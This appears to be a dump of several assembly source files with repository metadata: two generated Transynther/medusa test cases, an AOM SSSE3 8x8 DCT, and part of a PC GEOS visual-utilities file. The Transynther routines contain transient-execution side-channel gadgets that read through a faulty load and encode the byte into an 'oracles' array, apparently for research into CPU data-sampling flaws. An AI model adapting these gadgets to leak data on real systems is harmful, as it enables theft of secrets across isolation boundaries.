lea addresses_UC_ht+0x11086, %rsi
nop
nop
cmp %r14, %r14
mov $0x6162636465666768, %rcx
movq %rcx, (%rsi)
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x12ba6, %r15
clflush (%r15)
nop
xor $19749, %r10
mov (%r15), %r13w
nop
xor $51386, %r12
lea addresses_UC_ht+0x11806, %r15
nop
nop
nop
nop
xor %r13, %r13
vmovups (%r15), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdi
inc %rdi
lea addresses_D_ht+0x7806, %rdi
nop
nop
nop
nop
nop
sub $47625, %r10
movups (%rdi), %xmm1
vpextrq $0, %xmm1, %r13
cmp $11802, %r10
lea addresses_WT_ht+0x1c051, %rsi
lea addresses_A_ht+0x13e46, %rdi
nop
nop
nop
nop
nop
and $6275, %r15
mov $91, %rcx
rep movsl
nop
nop
cmp %r10, %r10
lea addresses_UC_ht+0x14946, %rsi
lea addresses_D_ht+0x16c06, %rdi
xor $31289, %r10
mov $45, %rcx
rep movsb
nop
sub $15453, %rcx
lea addresses_UC_ht+0x12e06, %rcx
nop
xor $8036, %rdi
movb (%rcx), %r10b
nop
nop
inc %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rdx
// Store
lea addresses_PSE+0x11916, %r14
nop
nop
nop
nop
and $52104, %rdx
movb $0x51, (%r14)
nop
nop
nop
nop
nop
sub $23337, %rdx
// Load
lea addresses_normal+0xa806, %r15
nop
nop
sub $46651, %rcx
mov (%r15), %r9d
nop
nop
nop
nop
nop
xor $10875, %r9
// Faulty Load
lea addresses_WC+0x16006, %rdx
cmp %r14, %r14
movups (%rdx), %xmm5
vpextrq $0, %xmm5, %rdi
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 34.904306 | 2,999 | 0.657437 |
72ccefdd03d35e1922495216e35c75f32082401a | 5,342 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_658.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_658.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_658.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rax
push %rsi
lea addresses_WT_ht+0x116ad, %rax
nop
nop
nop
nop
cmp $24542, %r12
mov (%rax), %r11
nop
add %rsi, %rsi
pop %rsi
pop %rax
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_D+0xbe9d, %rcx
and $61485, %rax
mov $0x5152535455565758, %r14
movq %r14, %xmm7
movups %xmm7, (%rcx)
nop
nop
nop
xor %r15, %r15
// REPMOV
lea addresses_WC+0xd9ed, %rsi
lea addresses_WC+0x14fad, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $53145, %r8
mov $15, %rcx
rep movsq
cmp %r14, %r14
// Store
mov $0x36260200000001ad, %r12
and $2750, %rcx
movb $0x51, (%r12)
nop
nop
nop
nop
dec %r12
// Store
lea addresses_WT+0x15f6d, %rsi
nop
nop
nop
nop
add $12669, %r14
movb $0x51, (%rsi)
nop
nop
inc %r14
// Store
lea addresses_UC+0x722d, %rcx
nop
nop
nop
nop
nop
and %r15, %r15
mov $0x5152535455565758, %r8
movq %r8, %xmm7
movups %xmm7, (%rcx)
nop
nop
nop
add %rdi, %rdi
// Faulty Load
mov $0x324f2300000009ad, %rcx
sub $59316, %r14
movb (%rcx), %r8b
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 41.410853 | 2,999 | 0.655185 |
bde42cfcd7310a9545d64e60bb8479fe3bb2e23f | 5,790 | asm | Assembly | aom_20170505/aom_dsp/x86/fwd_txfm_ssse3_x86_64.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_dsp/x86/fwd_txfm_ssse3_x86_64.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | aom_20170505/aom_dsp/x86/fwd_txfm_ssse3_x86_64.asm | rainliu/aom_analyzer | 440652d155140c00a2827512a54103be3d6ff7e4 | [
"MIT"
] | null | null | null | ;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "third_party/x86inc/x86inc.asm"
; This file provides SSSE3 version of the forward transformation. Part
; of the macro definitions are originally derived from the ffmpeg project.
; The current version applies to x86 64-bit only.
SECTION_RODATA
pw_11585x2: times 8 dw 23170
pd_8192: times 4 dd 8192
%macro TRANSFORM_COEFFS 2
pw_%1_%2: dw %1, %2, %1, %2, %1, %2, %1, %2
pw_%2_m%1: dw %2, -%1, %2, -%1, %2, -%1, %2, -%1
%endmacro
TRANSFORM_COEFFS 11585, 11585
TRANSFORM_COEFFS 15137, 6270
TRANSFORM_COEFFS 16069, 3196
TRANSFORM_COEFFS 9102, 13623
SECTION .text
%if ARCH_X86_64
%macro SUM_SUB 3
psubw m%3, m%1, m%2
paddw m%1, m%2
SWAP %2, %3
%endmacro
; butterfly operation
%macro MUL_ADD_2X 6 ; dst1, dst2, src, round, coefs1, coefs2
pmaddwd m%1, m%3, %5
pmaddwd m%2, m%3, %6
paddd m%1, %4
paddd m%2, %4
psrad m%1, 14
psrad m%2, 14
%endmacro
%macro BUTTERFLY_4X 7 ; dst1, dst2, coef1, coef2, round, tmp1, tmp2
punpckhwd m%6, m%2, m%1
MUL_ADD_2X %7, %6, %6, %5, [pw_%4_%3], [pw_%3_m%4]
punpcklwd m%2, m%1
MUL_ADD_2X %1, %2, %2, %5, [pw_%4_%3], [pw_%3_m%4]
packssdw m%1, m%7
packssdw m%2, m%6
%endmacro
; matrix transpose
%macro INTERLEAVE_2X 4
punpckh%1 m%4, m%2, m%3
punpckl%1 m%2, m%3
SWAP %3, %4
%endmacro
%macro TRANSPOSE8X8 9
INTERLEAVE_2X wd, %1, %2, %9
INTERLEAVE_2X wd, %3, %4, %9
INTERLEAVE_2X wd, %5, %6, %9
INTERLEAVE_2X wd, %7, %8, %9
INTERLEAVE_2X dq, %1, %3, %9
INTERLEAVE_2X dq, %2, %4, %9
INTERLEAVE_2X dq, %5, %7, %9
INTERLEAVE_2X dq, %6, %8, %9
INTERLEAVE_2X qdq, %1, %5, %9
INTERLEAVE_2X qdq, %3, %7, %9
INTERLEAVE_2X qdq, %2, %6, %9
INTERLEAVE_2X qdq, %4, %8, %9
SWAP %2, %5
SWAP %4, %7
%endmacro
; 1D forward 8x8 DCT transform
%macro FDCT8_1D 1
SUM_SUB 0, 7, 9
SUM_SUB 1, 6, 9
SUM_SUB 2, 5, 9
SUM_SUB 3, 4, 9
SUM_SUB 0, 3, 9
SUM_SUB 1, 2, 9
SUM_SUB 6, 5, 9
%if %1 == 0
SUM_SUB 0, 1, 9
%endif
BUTTERFLY_4X 2, 3, 6270, 15137, m8, 9, 10
pmulhrsw m6, m12
pmulhrsw m5, m12
%if %1 == 0
pmulhrsw m0, m12
pmulhrsw m1, m12
%else
BUTTERFLY_4X 1, 0, 11585, 11585, m8, 9, 10
SWAP 0, 1
%endif
SUM_SUB 4, 5, 9
SUM_SUB 7, 6, 9
BUTTERFLY_4X 4, 7, 3196, 16069, m8, 9, 10
BUTTERFLY_4X 5, 6, 13623, 9102, m8, 9, 10
SWAP 1, 4
SWAP 3, 6
%endmacro
%macro DIVIDE_ROUND_2X 4 ; dst1, dst2, tmp1, tmp2
psraw m%3, m%1, 15
psraw m%4, m%2, 15
psubw m%1, m%3
psubw m%2, m%4
psraw m%1, 1
psraw m%2, 1
%endmacro
%macro STORE_OUTPUT 2 ; index, result
%if CONFIG_HIGHBITDEPTH
; const __m128i sign_bits = _mm_cmplt_epi16(*poutput, zero);
; __m128i out0 = _mm_unpacklo_epi16(*poutput, sign_bits);
; __m128i out1 = _mm_unpackhi_epi16(*poutput, sign_bits);
; _mm_store_si128((__m128i *)(dst_ptr), out0);
; _mm_store_si128((__m128i *)(dst_ptr + 4), out1);
pxor m11, m11
pcmpgtw m11, m%2
movdqa m12, m%2
punpcklwd m%2, m11
punpckhwd m12, m11
mova [outputq + 4*%1 + 0], m%2
mova [outputq + 4*%1 + 16], m12
%else
mova [outputq + 2*%1], m%2
%endif
%endmacro
INIT_XMM ssse3
cglobal fdct8x8, 3, 5, 13, input, output, stride
mova m8, [pd_8192]
mova m12, [pw_11585x2]
lea r3, [2 * strideq]
lea r4, [4 * strideq]
mova m0, [inputq]
mova m1, [inputq + r3]
lea inputq, [inputq + r4]
mova m2, [inputq]
mova m3, [inputq + r3]
lea inputq, [inputq + r4]
mova m4, [inputq]
mova m5, [inputq + r3]
lea inputq, [inputq + r4]
mova m6, [inputq]
mova m7, [inputq + r3]
; left shift by 2 to increase forward transformation precision
psllw m0, 2
psllw m1, 2
psllw m2, 2
psllw m3, 2
psllw m4, 2
psllw m5, 2
psllw m6, 2
psllw m7, 2
; column transform
FDCT8_1D 0
TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9
FDCT8_1D 1
TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9
DIVIDE_ROUND_2X 0, 1, 9, 10
DIVIDE_ROUND_2X 2, 3, 9, 10
DIVIDE_ROUND_2X 4, 5, 9, 10
DIVIDE_ROUND_2X 6, 7, 9, 10
STORE_OUTPUT 0, 0
STORE_OUTPUT 8, 1
STORE_OUTPUT 16, 2
STORE_OUTPUT 24, 3
STORE_OUTPUT 32, 4
STORE_OUTPUT 40, 5
STORE_OUTPUT 48, 6
STORE_OUTPUT 56, 7
RET
%endif
| 28.243902 | 78 | 0.51658 |
7d97e734fe7ad32334257847959f36bcbb1be379 | 100,540 | asm | Assembly | Library/User/Vis/visUtilsResident.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/User/Vis/visUtilsResident.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/User/Vis/visUtilsResident.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: UserInterface/Vis
FILE: visUtilsResident.asm
ROUTINES:
Name Description
---- -----------
In Fixed resources:
-------------------
EXT VisIfFlagSetCallVisChildren Carefully call vis children
EXT VisIfFlagSetCallGenChildren Carefully call gen children
EXT VisCallParent Send message to visible parent of an object
EXT VisSendToChildren Send message to all children of vis composite
EXT VisCallFirstChild Send message to first child of vis composite
EXT VisCallNextSibling Send message to next sibling of vis object
EXT VisCallChildUnderPoint Send message to first child found under point
EXT VisCheckIfVisGrown Check to see if vis master part grown
EXT VisCheckIfSpecBuilt See if object has been specifically built (in tree)
EXT VisDrawMoniker Draw visible moniker
EXT VisForceGrabKbd Force new OD to have kbd grabbed
EXT VisGetSize Returns size of a visible object
EXT VisGetCenter
EXT VisGetBounds Returns bounds of a visible object
EXT VisGetMonikerPos
EXT VisGetMonikerSize
EXT VisGetParentGeometry Get geometry flags of visible parent
EXT VisForceGrabKbd Force grab kbd
EXT VisGrabKbd Grab kbd if no one else has it
EXT VisReleaseKbd Release kbd
EXT VisForceGrabMouse Force grab mouse
EXT VisGrabMouse Grab mouse if no one else has it
EXT VisReleaseMouse Release mouse
EXT VisForceGrabLargeMouse Force grab mouse, request large events
EXT VisGrabLargeMouse Grab mouse, request large events
EXT VisFindParent
EXT VisMarkInvalid Mark a visible object invalid in some way
EXT VisMarkInvalidOnParent
EXT VisMarkFullyInvalid Invalidate this obj, parent geometry
EXT VisSetPosition
EXT VisQueryWindow Get window handle visible object is seen in
EXT VisQueryParentWin Get window handle this object is on
EXT VisReleaseKbd
EXT VisReleaseMouse
EXT VisSetSize
EXT VisRecalcSizeAndInvalIfNeeded
EXT VisSendPositionAndInvalIfNeeded
EXT VisSwapLockParent Set bx = ds:[0], then *ds:si = vis parent
EXT VisTakeGadgetExclAndGrab
EXT VisTestPointInBounds
EC EXT VisCheckOptFlags Routine to check vis opt flags up to win group
EC EXT CheckVisMoniker Make sure VisMoniker is not a VisMonikerList
EC EXT VisCheckVisAssumption Make sure visibly grown
EC EXT ECCheckVisCoords Make sure (cx, dx) is a valid coordinate
In Movable resources:
---------------------
EXT VisAddButtonPostPassive
EXT VisAddButtonPrePassive
EXT VisAddChildRelativeToGen
EXT VisConvertSpecVisSize Converts a SpecSizeSpec value to pixels
EXT VisConvertCoordsToRatio Converts a coordinate pair to SpecWinSizePair
EXT VisConvertRatioToCoords Converts a SpecWinSizePair to a coordinate pair
EXT VisFindMoniker Find (and copy) the specified visual moniker
EXT VisGetVisParent Get visual parent to build this object on
EXT VisGetSpecificVisObject Get vis version of this generic object
EXT VisInsertChild Insert a child into the visible tree
EXT VisReleaseButtonPostPassive
EXT VisReleaseButtonPrePassive
EXT VisTestMoniker
EXT VisUpdateSearchSpec
EXT VisRemove
EXT VisSetNotRealized
EXT VisNavigateCommon
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 10/10/94 Broken out of visUtils.asm
DESCRIPTION:
Utility routines for Vis* objects. (Meaning these routines should
only be called from within message handlers of an object which
is or is subclassed from VisClass)
$Id: visUtilsResident.asm,v 1.1 97/04/07 11:44:37 newdeal Exp $
------------------------------------------------------------------------------@
Resident segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCheckIfVisGrown
DESCRIPTION: Tests to see if an object's visible master part has been
grown yet.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
RETURN:
carry - set if visually grown
DESTROYED:
Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
------------------------------------------------------------------------------@
VisCheckIfVisGrown proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push di
mov di, ds:[si]
; Has visible part been grown yet?
tst ds:[di].Vis_offset ; clears carry
jz notGrown
stc
notGrown:
pop di
ret
VisCheckIfVisGrown endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCheckIfSpecBuilt
DESCRIPTION: Tests to see if an object containing a visible master
part has been visually built, checking the object's VI_link.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
RETURN:
carry - set if visually built
DESTROYED:
Nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/89 Initial version
------------------------------------------------------------------------------@
VisCheckIfSpecBuilt proc far
class VisClass
push ax
push di
mov di, ds:[si]
; Has visible part been grown yet?
mov ax, ds:[di].Vis_offset
tst ax ; clears carry
je done ; if not, then can't be visually built yet.
add di, ax ; point at vis part
; See if part of visible composite
tst ds:[di].VI_link.LP_next.handle
clc
je done ; if not, then not specifically built.
stc ; else is visually built
done:
pop di
pop ax
ret
VisCheckIfSpecBuilt endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallChildrenInBounds
DESCRIPTION: Call all children in a composite whose Visual bounds overlap
the passed bounds.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - message to pass
cx, dx - data to pass to objects
ss:bp - VisCallChildrenInBoundsFrame
RETURN:
NOTE: Unlike VisCallChildUnderPoint, VisCallChildrenInBounds calls
multiple children, so it does not return AX=0 to show that there
where no children in the bounds.
bp - ptr to VisCallChildrenInBoundsFrame
ds - updated segment
DESTROYED:
ax, bx, cx, dx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/91 Initial version
------------------------------------------------------------------------------@
VisCallChildrenInBounds proc far
class VisCompClass ; Indicate function is a friend
; of VisCompClass so it can play with
; instance data.
EC < call VisCheckVisAssumption ; Make sure vis data exists >
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov bl, ds:[di].VI_typeFlags
EC < test bl, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
test bl, mask VTF_IS_WINDOW
jnz doWindowTransform
test bl, mask VTF_IS_PORTAL
jz noTransform
test bl, mask VTF_CHILDREN_OUTSIDE_PORTAL_WIN
